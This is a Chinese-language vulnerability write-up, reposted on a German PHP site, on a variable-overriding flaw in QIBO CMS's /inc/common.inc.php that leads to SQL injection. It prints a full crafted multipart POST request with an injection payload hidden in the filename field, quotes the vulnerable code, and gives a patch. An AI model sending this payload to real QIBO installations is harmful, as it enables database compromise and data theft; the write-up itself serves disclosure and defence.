Heim php教程 php手册 QIBO CMS /inc/common.inc.php Local Variables Overriding Vul

QIBO CMS /inc/common.inc.php Local Variables Overriding Vul

Jun 06, 2016 pm 07:48 PM
cms

目录 1 . 漏洞描述 2 . 漏洞触发条件 3 . 漏洞影响范围 4 . 漏洞代码分析 5 . 防御方法 6 . 攻防思考 1. 漏洞描述 齐博在/inc/common.inc.php使用$$_key=$value、extract等逻辑实现了外部输入变量的本地注册,这是模拟了GPC的功能,但同时也引入 " 本地变量

目录

<span>1</span><span>. 漏洞描述
</span><span>2</span><span>. 漏洞触发条件
</span><span>3</span><span>. 漏洞影响范围
</span><span>4</span><span>. 漏洞代码分析
</span><span>5</span><span>. 防御方法
</span><span>6</span>. 攻防思考
Nach dem Login kopieren

 

1. 漏洞描述

齐博在/inc/common.inc.php使用$$_key=$value、extract等逻辑实现了外部输入变量的本地注册,这是模拟了GPC的功能,但同时也引入<span>"</span><span>本地变量覆盖</span><span>"</span>、<span>"</span><span>本地变量未初始化</span><span>"</span><span>的安全风险
齐博CMS中的漏洞文件</span>/inc/common.inc.php使用 @extract($_FILES, EXTR_SKIP)来注册$_FILES的各变量,使用EXTR_SKIP来控制不覆盖已存在的变量。利用一个末初始化的变量覆盖漏洞,即可导致sql注入漏洞
Nach dem Login kopieren

Relevant Link:

http:<span>//</span><span>bbs.qibosoft.com/read-forum-tid-422299.htm</span>
Nach dem Login kopieren


2. 漏洞触发条件

0x1: 攻击入口

构造$_FILE的变量覆盖构造覆盖$cidDB变量,POST给/member/comment.php

<span>1</span>. 首先访问/member下面的<span>"</span><span>评论管理</span><span>"</span><span>功能,抓包

</span><span>2</span><span>. 在http request中构造一个attachment,如下:
</span><span>/*</span><span>
POST /qibo/member/comment.php?job=yz&yz=0 HTTP/1.1  
Host: 127.0.0.1  
Proxy-Connection: keep-alive  
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,</span><span>*/</span>*;q=<span>0.8</span><span>  
User</span>-Agent: Mozilla/<span>5.0</span> (Windows NT <span>6.1</span>; WOW64) AppleWebKit/<span>537.36</span> (KHTML, like Gecko) Chrome/<span>28.0</span>.<span>1500.95</span> Safari/<span>537.36</span> SE <span>2</span>.X MetaSr <span>1.0</span><span>  
Referer: http:</span><span>//</span><span>127.0.0.1/qibo/member/comment.php?job=work  </span>
Accept-<span>Encoding: gzip,deflate,sdch  
Accept</span>-Language: zh-CN,zh;q=<span>0.8</span><span>  
Cookie: PHPSESSID</span>=<span>jo9rpav7l51iakidv01vr9fem1;   
passport</span>=<span>1</span>%09admin%09ClAKVgsEBglUAwcFUgRTDgRRCF9XUAZXBAcAVQIHBlc%3D94606de1fd; USR=fvqnvbj3%<span>0922</span>%<span>091425969668</span>%09http%3A%2F%2F127.<span>0.0</span>.<span>1</span>%2Fqibo%2Fmember%2Fcomment.php%3Fjob%<span>3Dwork  
Content</span>-Type: multipart/form-<span>data;   
boundary</span>=----<span>WebKitFormBoundary6ukpBHoIrpHKtOkl  
Content</span>-Length: <span>227</span>  
   
------<span>WebKitFormBoundary6ukpBHoIrpHKtOkl  
Content</span>-Disposition: form-data; name=<span>"</span><span>cidDB</span><span>"</span>; filename=<span>"</span><span>1' and EXP(~(select * from(select user())a)) -- </span><span>"</span><span>  
Content</span>-Type: text/<span>plain  
   
</span><span>1111</span>  
------WebKitFormBoundary6ukpBHoIrpHKtOkl--
*/<span>
注意将原来的URL上的cidDB[]</span>=<span>x删除掉;
然后构造一个文件上传的报文(GET改为POST方法)
在filename处填入注入的payload

</span><span>3</span><span>. 提交该数据包,即可注入成功
</span><span>//</span><span>这次的变量覆盖是抓住了extract的EXTR_SKIP只检查已经存在的变量,但是有些没有声明的变量还是会被覆盖</span>
Nach dem Login kopieren

Relevant Link:

http:<span>//</span><span>bobao.360.cn/learning/detail/291.html</span>
Nach dem Login kopieren


3. 漏洞影响范围

齐博所有系统、所有版本


4. 漏洞代码分析

\qibo\inc\common.inc.php

<span>/*</span><span>
全局变量文件对GPC变量的过滤
从代码中可以看淡,通过$_FILE传的值,POST的内容受GPC影响,因此只能利用$_FILE变量的$key绕过add_S函数
这里,$_FILS在传递参数时,是数组形式,因此可以默认使用$_FILES的$key去覆盖
</span><span>*/</span><span>
$_POST</span>=<span>Add_S($_POST);
$_GET</span>=<span>Add_S($_GET);
$_COOKIE</span>=<span>Add_S($_COOKIE);

function Add_S($array)
{
    </span><span>foreach</span>($array <span>as</span> $key=><span>$value)
    {
        </span><span>if</span>(!<span>is_array($value))
        {
            $value</span>=str_replace(<span>"</span><span></span><span>"</span>,<span>"</span><span>& # x</span><span>"</span>,$value);    <span>//</span><span>过滤一些不安全字符</span>
            $value=preg_replace(<span>"</span><span>/eval/i</span><span>"</span>,<span>"</span><span>eva l</span><span>"</span>,$value);    <span>//</span><span>过滤不安全函数</span>
            !get_magic_quotes_gpc() && $value=<span>addslashes($value);
            $array[$key]</span>=<span>$value;
        }
        </span><span>else</span><span>
        {
            $array[$key]</span>=<span>Add_S($array[$key]); 
        }
    }
    </span><span>return</span><span> $array;
}

</span><span>if</span>(!ini_get(<span>'</span><span>register_globals</span><span>'</span><span>))
{
    @extract($_FILES,EXTR_SKIP);
}

</span><span>foreach</span>($_COOKIE AS $_key=><span>$_value)
{
    unset($$_key);
}
</span><span>foreach</span>($_POST AS $_key=><span>$_value)
{
    </span>!ereg(<span>"</span><span>^\_[A-Z]+</span><span>"</span>,$_key) && $$_key=<span>$_POST[$_key];
}
</span><span>foreach</span>($_GET AS $_key=><span>$_value)
{
    </span>!ereg(<span>"</span><span>^\_[A-Z]+</span><span>"</span>,$_key) && $$_key=<span>$_GET[$_key];
}</span>
Nach dem Login kopieren


5. 防御方法

\qibo\inc\common.inc.php

<span>if</span>(!ini_get(<span>'</span><span>register_globals</span><span>'</span><span>))
{
    $array </span>= array(<span>'</span><span>Filedata</span><span>'</span>,<span>'</span><span>postfile</span><span>'</span>,<span>'</span><span>upfile</span><span>'</span>,<span>'</span><span>fileData</span><span>'</span>,<span>'</span><span>Filedata</span><span>'</span><span>);
    </span><span>foreach</span>($array AS $key=><span>$value)
    {
        is_array($_FILES[$value]) </span>&& $$value =<span> $_FILES[$value];
    }
}</span>
Nach dem Login kopieren


6. 攻防思考

Copyright (c) 2014 LittleHann All rights reserved

 

Erklärung dieser Website
Der Inhalt dieses Artikels wird freiwillig von Internetnutzern beigesteuert und das Urheberrecht liegt beim ursprünglichen Autor. Diese Website übernimmt keine entsprechende rechtliche Verantwortung. Wenn Sie Inhalte finden, bei denen der Verdacht eines Plagiats oder einer Rechtsverletzung besteht, wenden Sie sich bitte an admin@php.cn

Heiße KI -Werkzeuge

Undresser.AI Undress

Undresser.AI Undress

KI-gestützte App zum Erstellen realistischer Aktfotos

AI Clothes Remover

AI Clothes Remover

Online-KI-Tool zum Entfernen von Kleidung aus Fotos.

Undress AI Tool

Undress AI Tool

Ausziehbilder kostenlos

Clothoff.io

Clothoff.io

KI-Kleiderentferner

AI Hentai Generator

AI Hentai Generator

Erstellen Sie kostenlos Ai Hentai.

Heißer Artikel

R.E.P.O. Energiekristalle erklärten und was sie tun (gelber Kristall)
3 Wochen vor By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. Beste grafische Einstellungen
3 Wochen vor By 尊渡假赌尊渡假赌尊渡假赌
R.E.P.O. So reparieren Sie Audio, wenn Sie niemanden hören können
3 Wochen vor By 尊渡假赌尊渡假赌尊渡假赌

Heiße Werkzeuge

Notepad++7.3.1

Notepad++7.3.1

Einfach zu bedienender und kostenloser Code-Editor

SublimeText3 chinesische Version

SublimeText3 chinesische Version

Chinesische Version, sehr einfach zu bedienen

Senden Sie Studio 13.0.1

Senden Sie Studio 13.0.1

Leistungsstarke integrierte PHP-Entwicklungsumgebung

Dreamweaver CS6

Dreamweaver CS6

Visuelle Webentwicklungstools

SublimeText3 Mac-Version

SublimeText3 Mac-Version

Codebearbeitungssoftware auf Gottesniveau (SublimeText3)

PHP-Framework und CMS-Integration: unbegrenzte Möglichkeiten der Technologieintegration PHP-Framework und CMS-Integration: unbegrenzte Möglichkeiten der Technologieintegration Jun 01, 2024 pm 05:16 PM

Die Vorteile der Integration von PHP-Framework und CMS sind: 1. Verbesserung der Entwicklungseffizienz; 3. Vereinfachung der Inhaltsverwaltung; Im konkreten Fall wurde das Laravel-Framework in WordPressCMS integriert, um eine Blog-Website mit benutzerdefinierten Funktionen zu erstellen. Die Integrationsschritte umfassen das Erstellen einer Laravel-Anwendung, die Installation von WordPress, die Konfiguration von WordPress, das Erstellen eines Controllers, das Definieren des Routings, das Abrufen von WordPress-Daten usw Laravel-Anzeigedaten anzeigen.

So verwenden Sie das PHP-CMS-System für die Entwicklung von Finanzwebsites So verwenden Sie das PHP-CMS-System für die Entwicklung von Finanzwebsites Aug 25, 2023 am 10:06 AM

Mit der Popularität und Entwicklung des Internets haben Finanzwebsites immer mehr an Bedeutung gewonnen. Finanzwebsites spielen eine entscheidende Rolle bei der Geschäftsentwicklung, dem Marketing und dem Markenaufbau usw. der Finanzbranche. Heutzutage, mit der Popularität und Reife von CMS-Systemen, entscheiden sich immer mehr Unternehmen für den Einsatz von CMS-Systemen für die Website-Entwicklung. Dieser Artikel konzentriert sich auf die Verwendung des PHPCMS-Systems bei der Entwicklung von Finanzwebsites. 1. Verstehen Sie das CMS-System. CMS-System ist die Abkürzung für Content Management System. Es bezieht sich auf ein System, das schnell erstellt werden kann

Praktische Tipps zur Integration von PHPcms mit anderen Systemen Praktische Tipps zur Integration von PHPcms mit anderen Systemen Mar 15, 2024 am 08:18 AM

Praktische Tipps zur Integration von PHPcms mit anderen Systemen Mit der kontinuierlichen Weiterentwicklung der Internettechnologie ist der Bereich der Website-Entwicklung vielfältiger und komplexer geworden. In tatsächlichen Projekten sind wir häufig mit Situationen konfrontiert, in denen verschiedene Systeme integriert werden müssen, was von uns bestimmte Fähigkeiten und Erfahrungen zur Lösung dieser Probleme erfordert. In diesem Artikel werden einige praktische Tipps und spezifische Codebeispiele für die Integration des PHPcms-Systems mit anderen Systemen vorgestellt, um Entwicklern dabei zu helfen, Herausforderungen besser zu bewältigen. 1. Grundprinzipien der Integration Bei der Durchführung der Systemintegration ist zunächst Folgendes erforderlich

Standort des Imperial CMS-Verzeichnisses enthüllt Standort des Imperial CMS-Verzeichnisses enthüllt Mar 12, 2024 pm 10:33 PM

Der Speicherort des Empire CMS-Verzeichnisses wird angezeigt. Es werden spezifische Codebeispiele benötigt. Empire CMS (EmpireCMS) ist ein weit verbreitetes Open-Source-Content-Management-System. Seine Flexibilität und sein Funktionsreichtum werden von den Benutzern geschätzt. Während des Website-Entwicklungsprozesses ist es wichtig, die Verzeichnisstruktur und den Dateispeicherort von Empire CMS zu verstehen, da dies Entwicklern hilft, Website-Inhalte und -Funktionen besser zu verwalten. In diesem Artikel wird der Verzeichnisspeicherort von Empire CMS erläutert und spezifische Codebeispiele bereitgestellt, um den Lesern ein tieferes Verständnis dieses Content-Management-Systems zu vermitteln. 1.Grundlegende Verzeichnisstruktur

So verwenden Sie Java, um die Bildwasserzeichenfunktion des CMS-Systems zu implementieren So verwenden Sie Java, um die Bildwasserzeichenfunktion des CMS-Systems zu implementieren Aug 27, 2023 am 11:27 AM

So implementieren Sie mit Java die Bildwasserzeichenfunktion des CMS-Systems Zusammenfassung: Durch Hinzufügen der Bildwasserzeichenfunktion zum CMS-System kann wirksam verhindert werden, dass Bilder manipuliert und gestohlen werden. In diesem Artikel wird erläutert, wie Sie mit Java die Bildwasserzeichenfunktion des CMS-Systems implementieren und Codebeispiele bereitstellen. Einleitung Mit der Popularität des Internets und der Popularität von Digitalkameras ist der Diebstahl und die Manipulation von Bildern zu einem häufigen Problem geworden. Um das Urheberrecht von Bildern zu schützen, fügen viele CMS-Systeme Bildwasserzeichenfunktionen hinzu. Bildwasserzeichen sind eine Technologie, die Bildern identifizierbare Informationen hinzufügt, beispielsweise ein Foto

PHPcms-Spalten-Cache-Speicherpfad enthüllt PHPcms-Spalten-Cache-Speicherpfad enthüllt Mar 14, 2024 pm 03:18 PM

PHPcms ist ein leistungsstarkes Content-Management-System, das häufig in der Website-Entwicklung eingesetzt wird. Das Spalten-Caching ist eine wichtige Funktion in PHPcms, die die Geschwindigkeit des Website-Zugriffs verbessern und den Serverdruck verringern kann. In diesem Artikel wird der Speicherpfad des PHPcms-Spaltencaches offengelegt und spezifische Codebeispiele bereitgestellt. 1. Was ist Spalten-Caching? Unter Spalten-Caching versteht man das Generieren statischer Dateien aus dem Spalteninhalt auf der Website und deren Speicherung im angegebenen Pfad. Wenn der Benutzer auf die Spalte zugreift, wird die statische Datei direkt gelesen, anstatt die Seite jedes Mal dynamisch zu generieren . Das

Erstellen Sie ein PHP-Cloud-Transkodierungs-CMS-System, um Video-Transkodierungsdienste zu implementieren Erstellen Sie ein PHP-Cloud-Transkodierungs-CMS-System, um Video-Transkodierungsdienste zu implementieren Mar 16, 2024 am 08:30 AM

Erstellen Sie ein PHP-Cloud-Transkodierungs-CMS-System, um Video-Transkodierungsdienste zu implementieren. Mit der rasanten Entwicklung von Online-Videos sind Video-Transkodierungsdienste immer wichtiger geworden. Um den Anforderungen der Benutzer an die Videotranskodierung gerecht zu werden, ist der Aufbau eines PHP-Cloud-Transkodierungs-CMS-Systems eine gute Wahl. In diesem Artikel stellen wir vor, wie man ein einfaches PHP-Cloud-Transcoding-CMS-System erstellt, und stellen spezifische Codebeispiele bereit. Zuerst müssen wir eine grundlegende PHP-Entwicklungsumgebung vorbereiten. Stellen Sie sicher, dass Sie PHP und MySQL installiert haben und über einen Webserver wie Apa verfügen

Auswirkungen und Reaktion darauf, wann PHPcms die Wartung einstellt Auswirkungen und Reaktion darauf, wann PHPcms die Wartung einstellt Mar 14, 2024 am 11:12 AM

Die Auswirkungen und Reaktionen, wenn die Wartung von PHPcms eingestellt wird. Mit der kontinuierlichen Weiterentwicklung der Internettechnologie ist die Website-Erstellung für viele Unternehmen und Einzelpersonen zu einem unverzichtbaren Werkzeug geworden. Bei der Website-Erstellung spielt das Content-Management-System (CMS) eine wichtige Rolle. Als häufig verwendetes CMS-Tool erfreute sich PHPcms einst großer Beliebtheit. Mit der Zeit nimmt die Aktualisierung und Wartung der PHPcms-Version jedoch allmählich ab oder wird sogar ganz eingestellt, was eine Reihe von Auswirkungen für Benutzer und Entwickler mit sich bringt. Dieser Artikel untersucht die Auswirkungen von PHPcms außerhalb der Wartung und bietet eine

See all articles